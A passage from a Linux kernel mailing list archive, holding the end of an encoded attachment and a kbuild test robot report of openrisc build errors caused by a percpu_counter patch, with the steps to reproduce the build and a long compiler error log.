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 --mP3DRpeJDSE+ciuQ-- From fengguang.wu@intel.com Fri Oct 2 13:16:38 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EF0B97F56 for ; Fri, 2 Oct 2015 13:16:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 50DA8AC026 for ; Fri, 2 Oct 2015 11:16:37 -0700 (PDT) X-ASG-Debug-ID: 1443809795-04bdf046271bafb0001-NocioJ Received: from mga11.intel.com ([192.55.52.93]) by cuda.sgi.com with ESMTP id u7KvHT4wlNMdbc1Z for ; Fri, 02 Oct 2015 11:16:35 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.93 X-ASG-Whitelist: EmailCat (corporate) Received: from fmsmga001.fm.intel.com ([10.253.24.23]) by fmsmga102.fm.intel.com with ESMTP; 02 Oct 2015 11:16:36 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,624,1437462000"; d="gz'50?scan'50,208,50";a="802360913" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by fmsmga001.fm.intel.com with ESMTP; 02 Oct 2015 11:16:34 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1Zi4sY-000Qha-7d; Sat, 03 Oct 2015 02:16:22 +0800 Date: Sat, 3 Oct 2015 02:15:17 +0800 From: kbuild test robot To: Waiman Long Cc: kbuild-all@01.org, Dave Chinner , Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch , Waiman Long Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <201510030254.MzYyojDo%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="2fHTh5uZTiUOsy+g" Content-Disposition: inline In-Reply-To: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: UNKNOWN[192.55.52.93] X-Barracuda-Start-Time: 1443809795 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --2fHTh5uZTiUOsy+g Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Waiman, [auto build test results on v4.3-rc3 -- if it's inappropriate base, please ignore] config: openrisc-or1ksim_defconfig (attached as .config) reproduce: wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross chmod +x ~/bin/make.cross # save the attached .config to linux build tree make.cross ARCH=openrisc All error/warnings (new ones prefixed by >>): include/linux/sched.h:3179:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/ptrace.h:6:0, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/err.h:24:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/err.h:29:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/err.h:34:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/err.h:39:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/err.h:51:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/err.h:57:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/mm.h:15:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/debug_locks.h:8:1: warning: empty declaration include/linux/debug_locks.h:10:12: error: storage class specified for parameter 'debug_locks' include/linux/debug_locks.h:11:12: error: storage class specified for parameter 'debug_locks_silent' include/linux/debug_locks.h:15:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/debug_locks.h:22:12: error: storage class specified for parameter 'debug_locks_off' include/linux/debug_locks.h:48:1: warning: empty declaration include/linux/debug_locks.h:57:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/debug_locks.h:61:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/debug_locks.h:66:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/debug_locks.h:71:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/mm.h:17:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/range.h:4:1: warning: empty declaration include/linux/range.h:24:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/mm.h:19:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/bit_spinlock.h:16:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/bit_spinlock.h:41:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/bit_spinlock.h:57:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/bit_spinlock.h:74:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/bit_spinlock.h:89:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/mm.h:20:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/shrinker.h:11:1: warning: empty declaration include/linux/shrinker.h:49:1: warning: empty declaration include/linux/shrinker.h:70:12: error: storage class specified for parameter 'register_shrinker' include/linux/shrinker.h:71:13: error: storage class specified for parameter 'unregister_shrinker' In file included from include/linux/page_ext.h:5:0, from include/linux/mm.h:22, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/stacktrace.h:6:1: warning: empty declaration include/linux/stacktrace.h:7:1: warning: empty declaration In file included from include/linux/mm.h:22:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/page_ext.h:7:1: warning: empty declaration include/linux/page_ext.h:8:1: warning: empty declaration include/linux/page_ext.h:69:1: warning: empty declaration include/linux/page_ext.h:72:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page_ext.h:76:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page_ext.h:81:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page_ext.h:85:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/pid_namespace.h:6:0, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/mm.h:25:1: warning: empty declaration include/linux/mm.h:26:1: warning: empty declaration include/linux/mm.h:27:1: warning: empty declaration include/linux/mm.h:28:1: warning: empty declaration include/linux/mm.h:29:1: warning: empty declaration include/linux/mm.h:30:1: warning: empty declaration include/linux/mm.h:31:1: warning: empty declaration include/linux/mm.h:34:22: error: storage class specified for parameter 'max_mapnr' include/linux/mm.h:37:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/mm.h:44:22: error: storage class specified for parameter 'totalram_pages' include/linux/mm.h:45:15: error: storage class specified for parameter 'high_memory' include/linux/mm.h:46:12: error: storage class specified for parameter 'page_cluster' include/linux/mm.h:49:12: error: storage class specified for parameter 'sysctl_legacy_va_layout' In file included from include/asm-generic/pgtable-nopmd.h:6:0, from arch/openrisc/include/asm/pgtable.h:28, from include/linux/mm.h:55, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/asm-generic/pgtable-nopud.h:13:31: error: storage class specified for parameter 'pud_t' include/asm-generic/pgtable-nopud.h:25:40: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable-nopud.h:26:39: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable-nopud.h:27:42: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable-nopud.h:28:42: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable-nopud.h:38:21: error: expected '=', ',', ';', 'asm' or '__attribute__' before '*' token In file included from arch/openrisc/include/asm/pgtable.h:28:0, from include/linux/mm.h:55, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/asm-generic/pgtable-nopmd.h:8:1: warning: empty declaration include/asm-generic/pgtable-nopmd.h:17:18: error: expected specifier-qualifier-list before 'pud_t' include/asm-generic/pgtable-nopmd.h:17:31: error: storage class specified for parameter 'pmd_t' >> include/asm-generic/pgtable-nopmd.h:29:34: error: expected ')' before 'pud' include/asm-generic/pgtable-nopmd.h:30:33: error: expected ')' before 'pud' include/asm-generic/pgtable-nopmd.h:31:37: error: expected ')' before 'pud' >> include/asm-generic/pgtable-nopmd.h:32:36: error: expected ')' before '*' token include/asm-generic/pgtable-nopmd.h:43:21: error: expected '=', ',', ';', 'asm' or '__attribute__' before '*' token include/asm-generic/pgtable-nopmd.h:59:51: error: expected declaration specifiers or '...' before 'pmd_t' include/asm-generic/pgtable-nopmd.h:60:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from arch/openrisc/include/asm/pgtable.h:32:0, from include/linux/mm.h:55, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: >> arch/openrisc/include/asm/fixmap.h:40:1: warning: empty declaration >> arch/openrisc/include/asm/fixmap.h:65:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/fixmap.h:82:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from include/linux/mm.h:55:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: >> arch/openrisc/include/asm/pgtable.h:46:13: error: storage class specified for parameter 'paging_init' >> arch/openrisc/include/asm/pgtable.h:203:22: error: storage class specified for parameter 'empty_zero_page' >> arch/openrisc/include/asm/pgtable.h:237:40: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:238:40: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:239:40: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:240:40: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:241:40: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:242:42: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:243:46: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:246:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:252:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:258:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:264:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:270:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:276:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:282:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:288:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:294:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:300:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:317:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:335:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token arch/openrisc/include/asm/pgtable.h:349:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token >> arch/openrisc/include/asm/pgtable.h:366:34: error: expected ')' before '*' token >> arch/openrisc/include/asm/pgtable.h:414:14: error: storage class specified for parameter 'swapper_pg_dir' arch/openrisc/include/asm/pgtable.h:424:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token In file included from arch/openrisc/include/asm/pgtable.h:441:0, from include/linux/mm.h:55, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/asm-generic/pgtable.h:27:12: error: storage class specified for parameter 'ptep_set_access_flags' include/asm-generic/pgtable.h:34:29: error: expected declaration specifiers or '...' before 'pmd_t' include/asm-generic/pgtable.h:35:6: error: expected declaration specifiers or '...' before 'pmd_t' >> include/asm-generic/pgtable.h:33:12: error: storage class specified for parameter 'pmdp_set_access_flags' include/asm-generic/pgtable.h:42:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:70:10: error: expected declaration specifiers or '...' before 'pmd_t' include/asm-generic/pgtable.h:71:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:85:30: error: expected declaration specifiers or '...' before 'pmd_t' include/asm-generic/pgtable.h:92:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:127:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:144:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:150:14: error: storage class specified for parameter 'ptep_clear_flush' include/asm-generic/pgtable.h:156:14: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'pmdp_huge_clear_flush' >> include/asm-generic/pgtable.h:162:1: warning: empty declaration include/asm-generic/pgtable.h:164:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:180:34: error: expected declaration specifiers or '...' before 'pmd_t' include/asm-generic/pgtable.h:181:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:189:29: error: expected declaration specifiers or '...' before 'pmd_t' >> include/asm-generic/pgtable.h:188:13: error: storage class specified for parameter 'pmdp_splitting_flush' include/asm-generic/pgtable.h:197:21: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'pmdp_collapse_flush' include/asm-generic/pgtable.h:209:62: error: expected declaration specifiers or '...' before 'pmd_t' >> include/asm-generic/pgtable.h:209:13: error: storage class specified for parameter 'pgtable_trans_huge_deposit' include/asm-generic/pgtable.h:214:68: error: expected declaration specifiers or '...' before 'pmd_t' >> include/asm-generic/pgtable.h:214:18: error: storage class specified for parameter 'pgtable_trans_huge_withdraw' include/asm-generic/pgtable.h:219:8: error: expected declaration specifiers or '...' before 'pmd_t' >> include/asm-generic/pgtable.h:218:13: error: storage class specified for parameter 'pmdp_invalidate' include/asm-generic/pgtable.h:224:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:237:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token >> include/asm-generic/pgtable.h:249:34: error: expected ')' before 'pmd_a' include/asm-generic/pgtable.h:292:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token >> include/asm-generic/pgtable.h:334:26: error: expected ')' before '*' token include/asm-generic/pgtable.h:335:26: error: expected ')' before '*' token include/asm-generic/pgtable.h:338:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:348:47: error: expected ')' before '*' token include/asm-generic/pgtable.h:359:47: error: expected ')' before '*' token include/asm-generic/pgtable.h:373:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:385:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:411:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:422:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:466:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token >> include/asm-generic/pgtable.h:470:40: error: expected ')' before 'pmd' include/asm-generic/pgtable.h:476:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:480:21: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'pmd_mksoft_dirty' include/asm-generic/pgtable.h:486:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:491:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:496:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:515:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:525:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:534:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:545:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:570:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:576:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:585:40: error: expected ')' before 'pmd' include/asm-generic/pgtable.h:589:45: error: expected ')' before 'pmd' include/asm-generic/pgtable.h:594:35: error: expected ')' before 'pmd' include/asm-generic/pgtable.h:603:21: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'pmd_read_atomic' include/asm-generic/pgtable.h:617:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:647:61: error: expected ')' before '*' token include/asm-generic/pgtable.h:689:44: error: expected ')' before '*' token include/asm-generic/pgtable.h:708:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/asm-generic/pgtable.h:712:38: error: expected ')' before 'pmd' include/asm-generic/pgtable.h:726:38: error: expected ')' before '*' token include/asm-generic/pgtable.h:730:38: error: expected ')' before '*' token include/asm-generic/pgtable.h:734:40: error: expected ')' before '*' token include/asm-generic/pgtable.h:738:40: error: expected ')' before '*' token In file included from include/linux/mm.h:55:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: >> arch/openrisc/include/asm/pgtable.h:448:16: error: storage class specified for parameter 'pte_addr_t' In file included from include/linux/pid_namespace.h:6:0, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/mm.h:73:22: error: storage class specified for parameter 'sysctl_user_reserve_kbytes' include/linux/mm.h:74:22: error: storage class specified for parameter 'sysctl_admin_reserve_kbytes' include/linux/mm.h:76:12: error: storage class specified for parameter 'sysctl_overcommit_memory' include/linux/mm.h:77:12: error: storage class specified for parameter 'sysctl_overcommit_ratio' include/linux/mm.h:78:22: error: storage class specified for parameter 'sysctl_overcommit_kbytes' include/linux/mm.h:80:12: error: storage class specified for parameter 'overcommit_ratio_handler' include/linux/mm.h:82:12: error: storage class specified for parameter 'overcommit_kbytes_handler' include/linux/mm.h:102:27: error: storage class specified for parameter 'vm_area_cachep' include/linux/mm.h:209:17: error: storage class specified for parameter 'protection_map' include/linux/mm.h:226:1: warning: empty declaration include/linux/mm.h:254:7: error: expected declaration specifiers or '...' before 'pmd_t' include/linux/mm.h:248:1: warning: empty declaration include/linux/mm.h:307:1: warning: empty declaration include/linux/mm.h:308:1: warning: empty declaration In file included from include/linux/mm.h:317:0, from include/linux/pid_namespace.h:6, from include/linux/ptrace.h:8, from arch/openrisc/kernel/asm-offsets.c:32: include/linux/page-flags.h:74:1: warning: empty declaration include/linux/page-flags.h:212:1: warning: empty declaration include/linux/page-flags.h:214:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:215:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:215:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:215:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:215:24: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:216:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:216:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token include/linux/page-flags.h:216:1: error: expected '=', ',', ';', 'asm' or 